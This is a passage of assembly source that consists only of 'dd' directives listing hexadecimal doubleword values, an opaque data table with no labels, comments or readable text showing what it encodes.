0F7EB888h, 4A5F89F9h, 0B62669C0h, 837B3F1Dh dd 0F117F2FAh, 20000642h, 8EF29B3h, 89A900D7h, 1B8F6888h dd 95F83843h, 0F28C5800h, 0B6494010h, 9D2D48F1h, 1F4CE700h dd 0A1D585DAh, 1842C00h, 7E52B52Ah, 93870570h, 8064033Bh dd 4E4F8B38h, 9B0D0510h, 9C505B00h, 0A671C581h, 5902E57Bh dd 0C2EC8E6Dh, 3DC4C07Dh, 208648C0h, 1639E60Fh, 80DDA6A5h dd 0EF041570h, 40256110h, 5DCD800Ah, 0E81E39E8h, 0FD70C758h dd 0E053A02Ah, 0B4007CF2h, 32A56DB5h, 9C54B6FCh, 0FC2A1738h dd 0A245003Fh, 0E41FD033h, 0A7480753h, 81BB1D55h, 34AAA977h dd 0DB0042F4h, 0C33C97B9h, 6615B17h, 0E07FD309h, 700151C6h dd 2391C0BAh, 2920A631h, 9F6B073Eh, 6B78C5ACh, 0DF5D8420h dd 3D1699AFh, 0EF000EFFh, 0A14205DCh, 0E2810193h, 7F54885h dd 2D319E13h, 2BC391C0h, 4830FA03h, 2803C2D9h, 3633AA01h dd 0F3B8C4C3h, 6002250Ah, 1D433B7Fh, 0BB28E11Eh, 74F63F0h dd 4BAA2A17h, 0B1F7253h, 89813040h, 0AFE13112h, 41F55000h dd 302A4A4Ch, 7C782334h, 0F6F20C24h, 8CDF1100h, 2E657770h dd 0C79628D3h, 0F0FF73CCh, 0B7400BDh, 0A1D2CDDDh, 78583552h dd 0B2EDCF54h, 0AFBA6021h, 55BE0900h, 1F18B7E6h, 0EAEEC175h dd 1A47764h, 426B464Ch, 2001A591h, 0A07E1F5Dh, 7D0AD90Fh dd 172D631Dh, 555AC216h, 1E9A8840h, 500ED271h, 2023444Dh dd 1D3C8C0Eh, 0C9CC3851h, 75217D8Fh, 494FCFA0h, 2D2C4ADDh dd 90002C55h, 41FE10A7h, 0C45D0067h, 4B78316h, 0A600290Eh dd 0F1FA7C27h, 3B5FB35Eh, 0BE00D13Bh, 0C3AFE4A8h, 8900C1B4h dd 0D81BADEBh, 9E7061h, 0E00A42CCh, 0A1958011h, 88F79B00h dd 225BBDEFh, 0FFE91275h, 0E0AF0021h, 0B7FE5CD2h, 374BBC1Eh dd 0B0809E00h, 7A1C93B4h, 0E1EEDDh, 64A7DC74h, 313BE440h dd 0E22AE1Ch, 679450BEh, 70D3440h, 52AA1B1Ah, 0A67DC073h dd 44007B5Ah, 99216227h, 50D4ACC3h, 4CA0F420h, 7803EDCAh dd 367E0AAAh, 0AB5AEEC8h, 74752900h, 25E1CA1Eh, 34BC0BDAh dd 7CA46AE9h, 6855409Ch, 3ED560A1h, 89A5783Ah, 7456421h dd 0FC25F8A7h, 287BFB1Fh, 0D71D3E40h, 2EB1727h, 99CC6A79h dd 4F60491Bh, 0FA2E4841h, 1F002A8Ah, 67B3243Eh, 3D4C000Ch dd 32F80355h, 340BCFA1h, 0A1B66C8Dh, 0A22B9968h, 4800A43Dh dd 4F61D441h, 0EC185C18h, 1EB028B4h, 5A6E1E6Dh, 0DD3EC0BAh dd 7BC2BCDFh, 0CD785F02h, 40C7FF71h, 76D190h, 0FB2C2435h dd 8F73E901h, 1004CD17h, 0BF13FC03h, 0B1D5CBFFh, 4AF07D9Bh dd 8BD40145h, 5ACDC251h, 0ED80FC8Ch, 6ABDD304h, 0C8802FE3h dd 0A9468304h, 3C4A0E9Ch, 0F181F800h, 0D89D75A6h, 0DF2ABF76h dd 0BD0CB0B9h, 28FD8CC1h, 0B4A50C41h, 5C705EABh, 4C25F774h dd 965E80h, 42EC3C15h, 60FDC629h, 0B70FE624h, 0C0F51055h dd 61494EA2h, 0BB6D006Eh, 77FBE948h, 0B8A0C9E7h, 0B31D1DA4h dd 3840185Ah, 7119F47Ah, 0B1DE0050h, 0FFC6564Eh, 2D00A62Bh dd 9C020A14h, 610FADh, 0BF96F567h, 3CF05BCAh, 2D0E1CE4h dd 0A644F632h, 0EB8B172h, 0FAA0F7A6h, 68A82240h, 52980626h dd 20029D30h, 388A4D6h, 9E236C61h, 0B39080A6h, 510024D5h dd 0A3DFB16Ah, 6EE73995h, 9B4030BFh, 0B9AD8881h, 1B5C1300h dd 0A67B63FBh, 1EA9004Eh, 0A279BE94h, 9905EF9Bh, 5CD7AC66h dd 0E5B33C80h, 7320003Fh, 0C1D9B439h, 372C8985h, 403078C0h dd 0C07CF14Dh, 4F55E11h, 0A4B8F469h, 6BC2900Ah, 803EE4F2h dd 0D8BCFF02h, 0BEB61Bh, 3F1EAEEAh, 87F87DF7h, 0A4741206h dd 5D48A979h, 7A0920EEh, 7080C492h, 0E50CBF11h, 2B882A00h dd 843509AFh, 7F41002Fh, 66FB2DF2h, 7800A259h, 32B8575Ch dd 0F00C68E1h, 7617072Bh, 0C0A393CAh, 0D4D219Fh, 0E072F630h dd 0E310509h, 0B0EBD94Ah, 0D711EFE0h, 0D47CC7D3h, 5F984F03h dd 7B27F2BCh, 694200D0h, 0C6E9A859h, 0E01F3CBFh, 82FE1BF6h dd 0BA5E1F0Eh, 8094D9B3h, 3F3E0BA4h, 0D4FB33E4h, 0A600400Dh dd 1A5B8C32h, 0E186510h, 478A349Fh, 6084CF40h, 0E41CE5B0h dd 7480D10Eh, 0C97EB2CEh, 0C2590003h, 87548EF9h, 0D15BEFA8h dd 8FE08820h, 0ADB11F7Bh, 435CCB58h, 9217F864h, 0A400324Ch dd 819AA014h, 0B0BE493Ch, 0CB044F22h, 0C92AE268h, 25D2EB00h dd 0EF024E0Ch, 7301A6D3h, 7BC7330h, 125916AAh, 6470B145h dd 993ED91Dh, 0CA0B7DC6h, 420D0048h, 60E1209Ch, 0C278F6B7h dd 0FC0014BCh, 78CB8871h, 0AD1091F4h, 0C9343488h, 0A829D0C2h dd 9707D0C0h, 5826B107h, 31C1B68Fh, 34D47BF8h, 0FDD40140h dd 16284615h, 0B0DC6020h, 630F009Ch, 0DBDCE15Fh, 444D3F99h dd 8D00106Ch, 4F1E4C1Dh, 0AB48FD37h, 1B031DC0h, 6191F140h dd 5434236Fh, 0E6DC88h, 0FEEBC27Eh, 0B309A7CBh, 0A8530B02h dd 0C8E46FECh, 79E618h, 0E905F4E3h, 0D61AC0A5h, 0A6003CB8h dd 494359A4h, 1C69B85h, 4530C76Eh, 7854ECBFh, 461F0178h dd 0C6AF0FB3h, 0B06834h, 8816265Fh, 0C56E3305h, 1E0C848h dd 69914C93h, 0A020C4CBh, 0EEAB3E81h, 8C742B03h, 0E1A89422h dd 0A7EA472Ch, 0E32AE490h, 8603BCDCh, 0DFBB249h, 0EDE1F8E8h dd 0AA084C87h, 5E0E611Ch, 0AAEA854Bh, 4DC84FF3h, 21FC5A80h dd 0A70F28CCh, 47E649D3h dd 83E9D17Eh, 0F2C8CBF0h, 0EE808F2Ch, 0E6E4609Fh, 2847E1h dd 0DDE74021h, 618B3C8Eh, 0A163FC01h, 0E26B28Ah, 98389040h dd 8572002Ch, 959E031Fh, 21E68DA4h, 6F55100h, 27AD4376h dd 34B12F8h, 16A40E91h, 402F04A0h, 0E4F695C4h, 876B1F3Dh dd 0D57778A7h, 43F3AF70h, 22F92EDFh, 0FC6D07C4h, 0A6D1B058h dd 0B8002768h, 3574CE69h, 0A048682h, 8E38318h, 904100C4h dd 0CC3DDDAh, 0FA47601Fh, 5FC1CE80h, 0BDAEF1h, 253588E4h dd 1A38E697h, 15F3ED0Eh, 0A2E16044h, 62BECDh, 0DE12F742h dd 25FA56F5h, 0EFDFB000h, 49F03D2Dh, 2BBFEBEh, 3530A06Eh dd 48C0C3C5h, 0EE04BA9Eh, 3E491A1Fh, 4C10ECA2h, 0DED21DA9h dd 2EDD94Eh, 406D2935h, 12D3228h, 2B137C12h, 60A32737h dd 0C700960Dh, 0E74FFC74h, 4CACBD75h, 971D29E2h, 957D4049h dd 0FB523A24h, 4437A824h, 92FF7F08h, 0C234A2CEh, 602760DDh dd 8F1934h, 3CC4262Dh, 15FAABF1h, 32894F07h, 822B48AAh dd 43D51120h, 0D61DC0ADh, 3F6D2CC4h, 772B0586h, 51CCC004h dd 170059B8h, 0FCDBED9Dh, 1347A8C6h, 0C089C207h, 2B8CADF0h dd 7200A8B6h, 621A11D1h, 0C3FA81h, 0CB5DFEC8h, 0D807CDBBh dd 7FFC172Eh, 0F2EE2230h, 0BE30003Bh, 7437B8C4h, 16075E04h dd 0ADEB10FAh, 0C1D80600h, 22A11C7Ch, 9FAB4008h, 4E398AC7h dd 9EB24F00h, 6526934h, 26A50BE0h, 6C215101h, 0F48D7AC7h dd 549EA77Fh, 0EA002017h, 0B2AE9D23h, 16530456h, 0B0B55CADh dd 4F00D08Ch, 0D50AC3CAh, 811042h, 7DF8B320h, 0AAF59056h dd 49453900h, 1BBE315Eh, 0E23D004Ah, 3F0F6F67h, 500C7E8h dd 4B92DB3Ah, 26C0CA72h, 614811A6h, 34CE97B7h, 3D000F18h dd 0C05632CCh, 2D86508Dh, 8485C5DFh, 0A164C5E2h, 0D7B5C884h dd 36BACC00h, 0EECAA5B3h, 32B90333h, 0C7CDD051h, 0F35808E0h dd 1E9A9F00h, 0C0F95DC5h, 78590E1Fh, 51C018BCh, 8D1D94F8h dd 5C9E8F00h, 0F27C9FDBh, 14F90130h, 0DA6C7E34h, 0F786F8D0h dd 0D3E40B09h, 513000F6h, 0F00CFDC0h, 374E003Ch, 0B001B24Ah dd 5D00A16Fh, 0A41B74EDh, 0BA96795h, 0D3DA0A28h, 4560DA80h dd 0B005FA7h, 7FD13CC0h, 39B08A74h, 3900E187h, 0D20319ACh dd 25F2B9DCh, 0F8EE1324h, 97287B00h, 1F818C29h, 80E03ACBh dd 691C9A2Bh, 0FE0565A7h, 40B5B314h, 0C457AB07h, 0AF9456E0h dd 0B01D3D9Dh, 5B03BCD8h, 2BC5D8FFh, 25E2C2D8h, 0AD774A13h dd 84CBBD00h, 5C8E94h, 0ACDBC062h, 0CD05A2E8h, 4801EB00h dd 55AAB274h, 19E60333h, 0B6ECC6BDh, 0DCDE17E8h, 3EB71C3Dh dd 9F0277BFh, 5FAE896Ch, 0A64C40FBh, 68A21C21h, 0D62583FCh dd 5AC8E72Ah, 0CFEE63B6h, 1EC40A00h, 0F6159FB7h, 8D49005Bh dd 0A9096C4Dh, 891245C3h, 890FA174h, 520D60EFh, 0A38EB5h dd 0C02F2EB2h, 634EF50Ch, 0C154691Fh, 0DC80340h, 3DA9E32Ah dd 72004AADh, 0D1C99BCBh, 7E7CE721h, 0CF0AA40Fh, 526C0033h dd 2CE8Dh, 40310E4Eh, 0DA4A266h, 1032CF2Ah, 80A90540h dd 5AE87974h, 0F0C81120h, 3C10C019h, 7A750E59h, 20C920CEh dd 0F1F4B021h, 60EF7D81h, 0A252D889h, 58DE6416h, 74316F00h dd 626E586h, 4E20CEA9h, 0BF7C507Ah, 0FEF6C14h, 0E70C261Ch dd 76E13930h, 29E91DA9h, 0EDE80C1Eh, 9A004460h, 0FB4ACB6Ah dd 3F0AE1h, 4E8FD881h, 0A0CFC223h, 0ED78B700h, 0A859A122h dd 3D5403B2h, 1D6F10C6h, 0CBFB1801h, 750C94C5h, 6E5DDF0h dd 73A0702Ah, 0BC1D204Ch, 90B08959h, 3E2EDEC6h, 3060A4CBh dd 4AE9C5A2h, 29CE8E03h, 627A8C9Bh, 87144018h, 7442870Fh dd 0EFB4FD81h, 0D843D1E3h, 1A8D2982h, 4871E0h, 640360F1h dd 448E3277h, 0D5F93163h, 0E35A6C09h, 1070890Ch, 0FBE51F1h dd 0B7B0C6BCh, 7E9BD1B8h, 0F2CC6750h, 4F073D18h, 50DC041h dd 980C88Bh, 0CDF44024h, 0A0F61D56h, 0C64D1B03h, 0E0782E4Ah dd 0DA5E398h, 0C26143BBh, 31600760h, 0F03CED50h, 693048ABh dd 0BDDE2DCh, 8BBE006Ah, 2FF004F1h, 0B5005FFFh, 52E84B4Fh dd 0C3AD09h, 0F9C76151h, 8ECB758Bh, 0FA6A239h, 702B204h dd 0A790EBD7h, 4FABD3Ah, 9B9E9A2Fh, 0DE3C384h, 175D4588h dd 0FA4F2D27h, 7EF826EBh, 0C6B000E6h, 0A18460F7h, 81B87600h dd 0BBCC53BDh, 8C1201BEh, 60FB984Ch, 54D0825Bh, 44045F8Dh dd 0AB7200BCh, 0B9FAB20Eh, 0CF7D6081h, 216808CCh, 0EA30E8Ch dd 0A660E9F2h, 6D92970Bh, 70F76105h, 0D81E7430h, 0F4E865C0h dd 28CB2122h, 28F0ADB4h, 4B4C1E5h, 0D9BE4D5Bh, 0F06C97F3h dd 74B02DEBh, 4E40D106h, 6008610Ch, 0F34F21F9h, 0CE152E2Dh dd 44EC23A0h, 0E5094DD8h, 211A2C43h, 69231058h, 52822081h dd 806D45B8h, 32634C29h, 0C56E7E8h, 8EEF21A9h, 21C07008h dd 1032BEA3h, 89B3047h, 72200551h, 4A05F071h, 6DADFFF3h dd 0C05E9848h, 0FAB50EAAh, 6722A146h, 0EA28900h, 0C5EEF559h dd 8CA506E5h, 0A86E6B08h, 29730430h, 3B0B46h, 8B86CEE4h dd 0AEC08771h, 0D5738A0Ch, 104F120h, 4EF15175h, 0F3C8F3E7h dd 0F5A6A802h, 0A8C44347h, 2903B0B4h, 0B514FBh, 50D7A10h dd 5A823BDEh, 8838B0Ah, 0CE02FBBBh, 5FFFA3ADh, 731E5A60h dd 0A28A4A00h, 0D2BE1A6Ah, 0BCA71DD1h, 0C90180E2h, 0DA055451h dd 0E0B32B1Dh, 0CF4B0C00h, 32EB49Bh, 571BCE62h, 837966Ah dd 43D021F3h, 7E6280B4h, 8F420FABh, 3E89C2DDh, 0EF809C8Eh dd 0A02E2CDAh, 9FF69E01h, 178FD6C3h, 4A6B088Ch, 6003B20h dd 0D03EF1A0h, 3FA20A1h, 707ACF12h, 68031DABh, 5710EFB1h dd 307848h, 0E911496Bh, 7B3613D2h, 823CA33h, 15210047h dd 0D0CE1131h, 16013B56h, 0EA0FE4ABh, 5883F43Eh, 15136E94h dd 0EFC91860h, 38EF6FAh, 546CDBE2h, 0CDBF03C2h, 5E4CF8D0h dd 301D9B31h, 0D980784Fh, 764506CFh, 6300C433h, 1080844Eh dd 0DA90731h, 0BAEA25F0h, 43C091C9h, 0D2113683h, 46311B8Ah dd 113E1610h, 78546300h, 0EC4BDD17h, 43963003h, 988BFD90h dd 0B85A2600h, 0EE9CE7BAh, 0AEC80046h, 0FC48B27Eh, 9E00494Ch dd 78472E51h, 0A29663h, 4DDCCFAh, 21E6B354h, 0AF6F7A00h dd 689A271Eh, 0F2CE2CB9h, 80181CF1h, 30E7852Fh, 760EED70h dd 60497B99h, 8A1FDF0Ch, 5EA500EAh, 38AA2AD2h, 23E09D1Ch dd 0E688C500h, 0AEBE28F7h, 0BD8305Bh, 0C02AC248h, 6784473Dh dd 15833410h, 0E3D2F818h, 0A677067Bh, 78889978h, 0F7003F70h dd 0E1DB1830h, 384BE6C8h, 0C0798A44h, 3E049168h, 4F00EEC5h dd 0BD41DA69h, 5F2850h, 12A065F1h, 6702ED3Ch, 0D4732104h dd 0D184143Ah, 28A0C6h, 57712391h, 0AA6B810Ch, 70786874h dd 79E29900h, 491B2C20h, 720DFF5h, 709DBBD2h, 6EA33F5Eh dd 0BBC7683Eh, 915B008Dh, 0E539EED0h, 0B10007Bh, 0D49DDBBDh dd 0C739C33Ch, 0E7138ED5h, 0FF9560DFh, 2188B64h, 0F2F8E5Bh dd 0EAC0A698h, 303BD9BCh, 5F2D80B2h, 0E5F08FD7h, 75810040h dd 0C68E4B0Fh, 0F700326Bh, 0A85A2343h, 1D19AB1Ch, 0AA4798h dd 0BD2CC117h, 0D773C03Dh, 954B2303h, 0C421492h, 78A89720h dd 31C04EBAh, 3E671199h, 9467966h, 33B10F5Ah, 65000C09h dd 0D6778B4Eh, 38C1D800h, 41EDFB58h, 0C5D9017Fh, 2D96E7DDh dd 0F2B3D440h, 3B732300h, 0F1E04917h, 5D1A077Fh, 10153AC5h dd 9AC7CF1Eh, 8DA2FC06h, 7911272h, 0B46E04A7h, 1B35F0D6h dd 0CA0E3A77h, 0C0DA8A31h dd 0C32D1079h, 0BC806F7h, 39179496h, 2073CECh, 953B58BAh dd 458090D7h, 756240h, 8E8D6C09h, 0D11F891Dh, 7F9A2A03h dd 0A038D724h, 33C721h, 3EBCE495h, 3111416h, 0A4005376h dd 22840D4Ch, 6062C5E3h, 0E019482Ch, 6E038C72h, 0A663AA5Dh dd 740DE015h, 0ADDD0627h, 70BC7B9Dh, 92003EF8h, 0A74DC1BDh dd 0F59484h, 0C8B8A9F4h, 0E52B89E8h, 0EB8FE101h, 2575A314h dd 6E6DA980h, 0E9BDC5F1h, 521ECD00h, 57958936h, 0DEF80C65h dd 0E56163E0h, 2F91EA00h, 736C9D0Eh, 471700A8h, 22676388h dd 0D900E3C3h, 0A24FCFD0h, 18DD08CCh, 3830395Bh, 830FB969h dd 1F5D237Dh, 0C8B1D1C0h, 0C61A3Dh, 77B80462h, 0E096ED7Fh dd 0A38B9B00h, 938D39DEh, 107EA15h, 85CC6A40h, 0DCA99275h dd 65025A4Fh, 0F5DC4BF7h, 0C8BB403Bh, 3C60FCBFh, 5E801C8Ch dd 0F7FBB31Ah, 330E5DCFh, 0C641BA31h, 2B407635h, 0D004AACBh dd 3E60B60Ah, 0F253C210h, 0E7CC00EDh, 9574286Dh, 0C407EEF8h dd 700A4ADEh, 0C8601DF0h, 295F641Ch, 9F4E2179h, 1171EC11h dd 851255A2h, 89F7E910h, 665180B8h, 10A82B5Eh, 0D7301C36h dd 6CC7C0E1h, 0C2538185h, 0C600D573h, 5928FDA5h, 7F12A7h dd 4E9AD072h, 24E75263h, 3BC77C00h, 0E47406A1h, 5E950014h dd 35BF422Fh, 6600982Bh, 0CD23DC88h, 28D9CA4Eh, 80D2A7h dd 7062C3F3h, 5DF25EC9h, 0FFACF000h, 512F95FAh, 0ED60003Eh dd 1E356CE9h, 0BD1F0C08h, 0FF28C8ACh, 0B2C6E200h, 0BC6CA6C5h dd 0A7B43FE9h, 21325418h, 45009067h, 0EB7D100Dh, 0F6CFDC3h dd 36202F80h, 0C7D8DC23h, 478339AFh, 0FA7BDB8h, 0B61C5D60h dd 0E900B731h, 0C564A0E8h, 1DB1FEBh, 850E9479h, 20FB2786h dd 3D00F771h, 72FCB1ADh, 3D66C39Dh, 4D94DB73h, 8800F045h dd 0A823321Bh, 1A07BE4Bh, 7E024EBh, 278362A0h, 0A71002Bh dd 0C351E841h, 0A40068C8h, 0E4D17655h, 3C472DF0h, 0E800AFD5h dd 0F5F870CEh, 1A006C99h, 2B495A85h, 919A11h, 0D27D39Eh dd 0DDFC58B1h, 886A0200h, 0B81D5B20h, 7CF30026h, 0AB850D5Dh dd 0D74C9972h, 87DA0052h, 65264E4h, 31D3306Dh, 60EE1A11h dd 90E6E100h, 0E72F16C4h, 0B1B80E33h, 0CE8A9EBEh, 9928DCh dd 0BB3D230Eh, 8A129F31h, 1189FCEBh, 0A8493303h, 0F0C05CE7h dd 3D268069h, 9C1460D3h, 0B90090EDh, 6E1EC5E6h, 9938B6FAh dd 3B728012h, 84D630ACh, 0A92E3A70h, 0B24E94B0h, 0DC0090A7h dd 1969D5EAh, 1065EFBh, 31FD27A9h, 0C0C88AD9h, 7B715955h dd 5C0032B8h, 0CEF244EBh, 0C0C4B98Ch, 5AFC94A2h, 0BE0002A9h dd 0B6195D0Ch, 3E550171h, 0FD01E760h, 40C026F9h, 4620E867h dd 0E3C74903h, 0C8B4F50Ch, 1EBB91Bh, 83520243h, 0D0D4B23Eh dd 2C003051h, 2B58F50Ah, 0CBD137h, 152277BAh, 1963BD5h dd 0E0262C1Ch, 600D2381h, 61D4D083h, 0E6D60ACEh, 1A8D750h dd 2CC8CA3Fh, 879F40C5h, 947028DFh, 0EB4EF100h, 935F70D0h dd 617900A9h, 58BB2E38h, 363B8460h, 0CE0180DAh, 0E2D6563Dh dd 3AD33D09h, 0A8DF50F0h, 189A200Eh, 31C12200h, 4EA692F8h dd 0A0595054h, 0D66B00CDh, 0B5A4D249h, 5B03BB04h, 0DAEC2D9Bh dd 0E1ADB074h, 0C7B058Eh, 0BB38CC69h, 3E2FC900h, 3B750Bh dd 0F0444C51h, 63CAF9A9h, 6C009274h, 0D1D0E613h, 2CFDC257h dd 36674Fh, 2118A3AAh, 6A303807h, 515C50D9h, 197E00EAh dd 0F227DC71h, 0F72D066Eh, 2CD87Ah, 38D13FA2h, 0FC25904h dd 0F322D8E9h, 0BC9FE20Eh, 10FFC0DDh, 39D0D197h, 0BB00C37Dh dd 0B2A298B3h, 760060CCh, 0D3313053h, 0FC8588h, 6CE2233Ah dd 4602BE57h, 6FF8D490h, 0FFD72100h, 0D12831BDh, 73D50180h dd 0F9F003A3h, 44CEFC20h, 0C7ABEB1Eh, 7A10B0BCh, 720A1AAEh dd 8C9F01AAh, 0E23D6F1h, 83806017h, 0C6003D7Bh, 4A9DB1Dh dd 3DC5558h, 999003E5h, 2588B1EBh, 16F467C7h, 0CD6E5A07h dd 0B0802A5Fh, 0A6DD8Bh, 48FDB50Dh, 4A8EE52Ch, 820BA0Fh dd 8BD2A0E6h, 1603AB28h, 0D0E00Eh, 1EB8F224h, 0D52DB51Dh dd 6D5442h, 0C7D441A9h, 0F2074361h, 0E5BDA752h, 1F1ED030h dd 24AD0095h, 9E18C85Eh, 97013477h, 7D42C2A9h, 4DECBA6Eh dd 3C8D00B3h, 8B085CE0h, 640F9F6Ah, 1E4A99F6h, 0E5851380h dd 3A03676h, 0C28E6945h, 55C86448h, 9500E4C6h, 209CE989h dd 72601Ah, 0F14CDC41h, 35D665FAh, 48D83400h, 51B0703Ah dd 7C4D0011h, 139A5450h, 0EC00826Fh, 6BD15B5Dh, 70EE16h dd 43C0F7FFh, 0EB2287E3h, 0C8ED973Fh, 2B1F07A0h, 93208CA6h dd 0BA662Ah, 51E07208h, 0D031C9AEh, 89733F00h, 8D18465Ah dd 9AB8059Ch, 3B1564h, 331D2EA2h, 6914C2B7h, 24B61AB3h dd 6E04A03Ah, 102CF87Bh, 212840h, 0B1B9424Dh, 0E5FE403h dd 6E018173h, 0AB78EA56h, 0F20EBCCh, 836D008Bh, 59FF36AEh dd 6E0080A9h, 941ED9B0h, 93BFA2Ch, 44BDCEEDh, 0BE7E3098h dd 200E1601h, 75F886DAh, 0F76F6C0h, 870B621Fh, 97F012E0h dd 0DE07AA1Bh, 185C613Ch, 0CE0ADC0h, 734700B2h, 3988C25Dh dd 7E001C8Eh, 421F3EDDh, 90CF0E82h, 0F346031Ch, 189FC029h dd 663EC094h, 303B5CEDh, 0CCDF80EAh, 28F7C236h, 0B60B0584h dd 80E3B515h, 0CF61E235h, 34862A0Fh, 20CA1D9h, 0A6F487FAh dd 75AD0073h, 4C24ECBDh, 0AB00123Dh, 3AB26766h, 98DDCCh dd 29E90215h, 4E42CD9Fh, 43936B03h, 8F4B62ADh, 0F637B5B2h dd 0D7110042h, 0A694D88Dh, 44D2F316h, 0CC3B1000h, 0E5D4049h dd 14859065h, 0E5FC8480h, 58E80BCBh, 82DF5C00h, 3C14A0Ah dd 379E00B4h, 60981CB5h, 1A3CFB6Dh, 7F1D8036h, 5529AE1Bh dd 15940017h, 26109E19h, 0FA00A769h, 0BDD25E42h, 362F6FDh dd 6317C7A6h, 6F81BCD4h, 64E6304Eh, 37AD5900h, 605098E0h dd 3C3B0789h, 5354A3D9h, 7BB886F8h, 9E710BF2h, 777E1100h dd 4C986685h, 5C620079h, 6BD3BF4h, 0ED004A50h, 8F491D88h dd 179DF624h, 0DF72CBh, 95AD898Dh, 0E55C4B07h, 82773ECFh dd 0B1331361h, 7E046816h, 68F1006Ch, 71471044h, 15001BD6h dd 9282A864h, 2EE488h, 1AC0FF6Ah, 0AD129EB2h, 87E0AB00h dd 0FBF709DCh, 827C007Dh, 0A2AAA4AEh, 0A35081D6h, 65206DE8h dd 6F3E1D74h, 0C30C6531h, 5700CB12h, 0F099CA80h, 364E6Ah dd 31B3E0F6h, 61530940h, 79703903h, 0C0DEB5E4h, 964565CEh dd 1F9200A4h, 6AE519CAh, 8AC53F00h, 78BA02AAh, 0F7AE86Dh dd 6F901795h, 0A56B0F40h, 68F48921h, 480E810Bh, 0A487805Dh dd 0F1514B5Bh, 1DF0D4h, 2AB12E25h, 686596E5h, 0D8F9F00h dd 0EF90F122h, 0D1AF00DFh, 711AD3DAh, 6D00FD9Dh, 60ECB232h dd 120708Bh, 984A943Ch, 0C3EE2F42h, 19009EC3h, 81F17CF0h dd 2D57AD1h, 52DCF205h, 0E850BF43h, 0BC0E3902h, 0A326AF17h dd 0A8757C90h, 3F1AB041h, 0BA80A538h, 0F26AFEB2h, 810302FBh dd 67C3EB2Ah, 0B06498C7h, 0A7079DEh, 8F0608CFh, 47EA0068h dd 6707CE46h, 0FC6D6300h, 1B18907Bh, 0B830009Ah, 0A661C12Fh dd 4372E72Ah, 0A33F2603h, 0C09CD44Bh, 0FA21983h, 0F725CB4Fh dd 0DC28E780h, 0D46F17D0h, 0E42780B8h, 1D3C6443h, 0FA6AFB9Ch dd 9336F400h, 1E830C0Bh, 61D03207h, 8F757014h, 9AC0081Eh dd 8250A5F5h, 24711FA7h, 0E3D900F7h, 0AFE577A2h, 0BB96E71Ch dd 916E4F00h, 393C9BDh, 447F27AEh, 0A80050E8h, 661AA0CAh dd 0E0488EBCh, 644C1B1Bh dd 84C8206Eh, 4F00BD20h, 0B7A7FC38h, 62D7ECEh, 0D2F2D830h dd 0AA18C03Ch, 4008433Bh, 2ECE0CCAh, 0F928E2B4h, 740ED028h dd 4C994509h, 508BD9h, 27234878h, 0DE9E00E3h, 9411D84Ah dd 70FFE70h, 1BEA79h, 91E69BB4h, 0C250600Ch, 34E138F2h dd 2C005CF6h, 0EC567115h, 0C5246h, 474E956Bh, 0FE387067h dd 6DB2BC00h, 766E730Ah, 577BF5h, 67CD5B97h, 467745CFh dd 15F8740Fh, 0A9B8331h, 1394A871h, 56291462h, 96078639h dd 0C0434E92h, 46E779CEh, 247490EEh, 0A185D200h, 4518A936h dd 315B0E9Bh, 5CC0FF05h, 0F0CE4EF3h, 0D1586000h, 0D9AC9904h dd 2D9A3DA2h, 2FD75F5h, 3B98E553h, 90A0AB0Ah, 0BC5EE486h dd 265F0400h, 6E3F16DEh, 0E6FD158Dh, 8100B051h, 0A23712C3h dd 7113C4B8h, 20000F62h, 45929746h, 26C94CAh, 3E293C4Fh dd 0CD8BD0A0h, 5E60440Bh, 0A240B210h, 68660CA9h, 130D5D8h dd 2CB36E16h, 0CE381D00h, 12EF7A42h, 0DE2418h, 3786E904h dd 5200693Ch, 4DE274EAh, 3064BB47h, 0BD6032B6h, 0ACE8D8C0h dd 0F7A03490h, 8A18CAA8h, 5038414Bh, 52060C3Dh, 0F0F1DB4Eh dd 9DFBF3Ah, 0C095E7D4h, 80D64Ch, 76C79D8Ch, 0BB7FBD9Bh dd 0CDE5C404h, 6BC03AF8h, 1CBFC14Dh, 49AE5785h, 4B80252Ah dd 0B1BC5FE7h, 0AF3E3A12h, 7A4BDA00h, 984F32BBh, 0B8FF0124h dd 0D08638Bh, 92802F19h, 1A576D31h, 112F03D1h, 0E3060415h dd 10692Bh, 1E44FE99h, 8A225ADDh, 305EEB00h, 0D3C58EF7h dd 392FFAE3h, 0C40CF1BFh, 0F628B940h, 779C8340h, 58854CA7h dd 3949352Ch, 41DEAE1Dh, 6D103A88h, 7747F4B5h, 81942300h dd 0FA8C371Dh, 9397009Bh, 7CB013E0h, 0DB077F15h, 7698F5F2h dd 0C0797350h, 25CF015Eh, 9DA6463Ch, 0D1D0F728h, 8200ADFBh dd 2C857E47h, 0D423C4h, 39904486h, 0FA56313Eh, 994F0800h dd 5BC6982Bh, 0BD100BBh, 929C8E61h, 0A400D91Ah, 71F807C9h dd 605D2Dh, 984F053Eh, 0CCAC729Eh, 7F3C4D01h, 8DADBF30h dd 73390C60h, 0EB7100ECh, 92F374D9h, 0A4A0E447h, 7F001EBDh dd 4451CD62h, 35E221h, 34D5EF19h, 0DFA03A0Ah, 0DA3DC8E9h dd 16687117h, 0B6C16704h, 0BF8D76C0h, 426B02Ch, 244C463Ah dd 386C8188h, 1A78A63Eh, 0C2754400h, 5F46A0h, 278EF41Ch dd 7FA1DFF9h, 808D213Ah, 2B26A24Bh, 0FC7391h, 6A5E2861h dd 6553797Eh, 0C4008E78h, 0DBA0E198h, 1C59505Dh, 0C0AFD57Ch dd 9425A9C3h, 1B012460h, 99A3DB10h, 462006E3h, 0D18F0002h dd 0D8C83674h, 0BF24CADDh, 0A1002042h, 0F6AE7E9Bh, 3972B2h dd 0EA824A7Ch, 0CDD2CFAh, 96A97100h, 6867DB44h, 1A2400ADh dd 988F6640h, 2700DCF7h, 83616F23h, 1441D67Fh, 0FCD9C27Ch dd 0B9EC13h, 0C8E8A15Dh, 0D0003A56h, 0D91408EAh, 0C61766h dd 4C218B9Ah, 0A843EC46h, 2B865E00h, 0CC8D87B8h, 0AF1D3CCFh dd 0FEE0D0h, 0A9CBB80h, 146B4C8Ch, 575E000h, 1CD160FCh dd 2B760086h, 0BA28EDF7h, 0C77BA8D2h, 0C3BDDA00h, 1EE511A6h dd 20310049h, 0A2E47F23h, 85E4F28Fh, 88841A0Eh, 936CA7FDh dd 4CCE07E0h, 0B4AC1EE5h, 518A801Bh, 0C4F3729Bh, 7A00E475h dd 64CDC066h, 388790Dh, 516DAAD0h, 0C2E0DF58h, 0E1011E9Bh dd 0C4BE6B3Ah, 0E08024E2h, 0CF6C9E75h, 20F76FD8h, 83063587h dd 0AEEAE0CAh, 0F0590058h, 0ABF8A762h, 0FF0336F1h, 